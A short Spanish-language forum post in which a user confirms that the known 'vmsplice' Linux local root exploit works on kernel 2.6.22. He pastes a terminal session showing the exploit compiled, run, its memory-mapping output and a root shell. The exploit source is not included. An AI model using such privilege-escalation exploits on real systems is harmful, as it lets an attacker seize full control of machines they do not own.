Tal cual!!!
Lo acabo de probar en casa y funciona:
(Kernel 2.6.22-3-k7)
Cita: ivan@Vanchi:~/Desktop$ uname -r
2.6.22-3-k7
ivan@Vanchi:~/Desktop$ gcc prueba.c -o prueba
ivan@Vanchi:~/Desktop$ ./prueba
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Linux vmsplice Local Root Exploit
By qaaz
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[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7e43000 .. 0xb7e75000
[+] root
root@Vanchi:~/Desktop# whoami
root